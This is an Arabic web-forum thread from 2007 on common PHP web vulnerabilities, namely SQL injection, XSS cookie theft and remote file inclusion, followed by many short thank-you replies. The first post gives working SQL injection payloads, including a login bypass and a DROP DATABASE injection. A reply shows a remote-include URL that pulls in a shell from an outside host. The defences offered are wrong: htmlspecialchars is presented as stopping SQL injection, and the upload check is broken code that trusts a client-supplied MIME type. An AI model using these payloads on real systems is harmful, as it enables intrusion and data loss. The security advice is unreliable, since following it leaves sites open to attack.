الويب العربي

الويب العربي (http://www.arabwebtalk.com/index.php)
-   أمن المعلومات (http://www.arabwebtalk.com/forumdisplay.php?f=13)
-   -   أشهر الثغرات وطرق الحماية منها (http://www.arabwebtalk.com/showthread.php?t=68698)

like_php 22-10-2007 08:09 PM

أشهر الثغرات وطرق الحماية منها
 
السلام عليكم ورحمة الله وبركاته

تمتاز برمجة الموقع الإلكترونية عن غيرها من لغات البرمجة بكثرة مستخدمي هذا البرنامج , فهو متاح لملايين الناس لاستخدامه وهم طبعاً زوار الموقع.

ولهذا فأننا بحاجة لحماية هذا البرنامج وخصوصاً استهداف المواقع العربية والإسلامية من اعداء الأمة , ولهذا سأقوم بشرح مبسط لأشهر أنواع الثغرات وكيفية الحماية منها:

1- sql injection الحقن بجمل sql

اشهر انواع الثغرات و اخطرها ! , هذه الثغره تظهر في البرامج التي تستخدم "قواعد البيانات" في عملها , محركات قواعد البيانات مثل MySQL , MSSQL , Oracle و غيرها تستخدم لغه واحده من اجل استعلاماتها و تسمى هذه اللغه بـ SQL

وهي أشد انواع الثغرات خطوراً حيث أنه يمكن اختراق الحسابات في موقعك , على سبيل المثال , انك تملك يحتوي على اسم مستحدم وكلمة سر لصغحات معينة , سيكون برنامجك كالاتي:

كود PHP:

$user_name="swalif";
$password="softs";
$query "SELECT * FROM users WHERE user='$user_name' AND password='$password'";
mysql_query($query); 

تخيل لو ان كلمة السر أصبحت
كود PHP:

$password="' OR ''='"

ستصبح أوامر ال sql

كود PHP:

$query "SELECT * FROM users WHERE user='swalif' AND password='' OR ''=''
"
;
mysql_query($query); 

بهذه الطريقة يكون قد استطاع الدخول لاقسام برنامجك المختبفة دون الحاجة لاسم المستخدم أو كلمة السر الصحيحة.

ولا يتوقف الأمر عند ذلك فقط , تخيل لو أنه قام بادخال هذه الجملة على أنها كلمة سر:

كود PHP:

$password="'; DROP DATABASE database_name;" 

سيصبح الأمر البرمجي:

كود PHP:

$query "SELECT * FROM users WHERE user='swalif' AND password=''; DROP DATABASE database_nam";
mysql_query($query); 

تخيل الان ماذا حصل لموقعك ؟:eek:

تم حذف قاعدة البيانات بشكل كامل من الموقع .

2) XSS Cross site scripting

نوع آخر من الثغرات الامنيه و يعتبر من الثغرات المنتشره , اعتقد ان هذا النوع من الثغرات أقل خطوره من الـ SQL Injection , هذا النوع من الثغرات يسمح بحقن كود JavaScript في الصفحه .

يأتي البعض و يقول ما هي خطورة مثل هذه الثغره ؟ ما هي الخطوره في حالة قام المخترق بحقن كود JavaScript , حسناً جميع الامثله التي نراها في استغلال أو شرح ثغرات XSS لا تتعدى استخدام دالة alert لطباعة كلمه في النافذه المنبثقه التي عدهناها :) و لكن الاستغلال الحقيقيه لمثل هذه الثغرات يكون بسرقة الكوكيز , و الكوكيز عباره عن ملفات صغيره تستخدمها المواقع لتخزين معلومات عن مستخدم الحاسوب , مثلاًً برامج المنتديات تعتمد اعتماد كبير على الكوكيز لتذكّر المستخدم بدون الاضطرار لتسجيل دخوله في كل مره , حيث تقوم بتخزين كوكيز يحتوي على اسم المستخدم و كلمة المرور , في الحقيقه كلمة المرور هي ما يستهدفها المخترق , حيث يقوم بحقن الصفحه بكود JavaScript من خلال ثغرة الـ XSS , وظيفة هذا الكود استدعاء صفحه من موقع خارجي و تمرير معلومات الكوكيز إلى هذه الصفحه , و بالتالي إرسال معلومات الكوكيز إلى المخترق .


أما كيفية الحماية من هاتين الثغرتين فبسيط جداً , وهي اضافة دالة :

htmlspecialchars ()

وتقوم هذه الدالة بترميز حروف html كالآتي :

'&' (ampersand) becomes '&'
'"' (double quote) becomes '"' when ENT_NOQUOTES is not set.
''' (single quote) becomes ''' only when ENT_QUOTES is set.
'<' (less than) becomes '&lt;'
'>' (greater than) becomes '&gt;'

بالتالي تكون فد حمت برنامجك من مثل هذه أخطار.

للاستفادة أكثر من هذه الدالة يرجى الاطلاع على :

htmlspecialchars()

أتمنى أن يكون الجميع قد استفاد من هذا المقال

وشكرا

ss-ksa.com 22-10-2007 09:04 PM

تشكر اخوي على الشرح الرائع فعلا

ولكنك نسيت الاخطر و الاشهر file include ثغرات فايل انكلود التي من خلالها تمكن من رفع الملفات على موقعك

وخاصه رفع الشلات txt واحد يقول وما الخطورة فيtxt اقول وببساطه وضع علامة الاستفهام في اخرة ؟

ويكون قد رفع صفحه php من برمجته و يتحكم بالموقع حسب حماية السيرفر وقد ياخذ root بسببها



ويقةم الاستغلال كتالي

مثلا عندي صفحه باحد السكربات وليكن اسمها web.php

تحتوي على ثغرة فايل انكلود وهذا المتغير قد يكون ss

فيستخدم هكذا
web.php?ss=http://txt.txt?

فيتم رفع الصفحه php و الدخول على السيرفر والباقي فقط يعتمد على حماية السيرفر

like_php 24-10-2007 03:59 AM

شكرا لردك أخي الكريم ss-ksa.com

بالنسبة لهذه الثغرة الذي شرحتها مشكوراً هذه أفضل طريقة للحماية منها وهي باضافتها الجملة الشرطية التالية قبل كود مركز رفع الملفاتز

كود PHP:

$var=$_FILE["file"]["type"];
if(
$var=="application/x-php " or $var=="text/plain "
{
echo 
"error message";
}
else
{
//upload code


وشكرا

!Redghost! 24-10-2007 11:21 AM

مشكور يالغلا

تحدوة البشر 25-10-2007 10:08 AM

الله يعطيك العافية

algabil 14-11-2007 03:18 AM

تقبلو خالص الشكر والتقدير

iq_www 02-01-2008 04:13 PM

الله يعطيك العافيه مشكور اخويه

فهد بن شويل الشهراني 29-01-2008 01:02 AM

مشكور الله يعطيك العافية

الفك المفترس 02-02-2008 08:05 AM

مشكور أخوي

ويعطيك ربي ألف ألف ألف عافية

وفقك الله والسلام عليكم .

3arab-hero 02-02-2008 08:06 PM

بوركت اخي على هذا الشرح

3arab-hero 02-02-2008 08:09 PM

لكن هل للكلمات الممنوعة فائدة؟

الدوكش 03-02-2008 12:01 AM

مشكور أخوي

Marcel Adam 03-02-2008 05:53 AM

ألف شكر لك يا غالي على الشرح الجميل

تقبل تحياتي

arabwebtalk.com 09-02-2008 07:02 PM

مشكورين الى الامام

فلسطينى 1948 05-04-2008 01:51 PM

مشكور اخى على هالتوضيح ولك الاحترام على مجهودك

–•¤صـدى الأهات¤•– 10-04-2008 01:24 PM

يعطيك ربي ألف ألف ألف عافية

alromnce 29-04-2008 01:01 AM

شكرا لك أخوي العزيز الغالي like_php على هذا الجهد الطيب

وعلى تزويدك لنا بالروابط المفيدة

وهذا الموقع مفيد جداً للتعلم على لغة php

تقبل تحياتي

JntelHost.Com 30-04-2008 08:56 PM

الله يعطيك العافيه وماقصرت

FULL-POWER 18-05-2008 02:49 AM

يعطيك العافية

r3no 18-05-2008 03:53 PM

لي رجعة للتعليق


جميع الأوقات بتوقيت مكة المكرمة. الساعة الآن » 02:26 PM.

Powered by vBulletin
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Copyright © ArabWebTalk.Com 2004-2012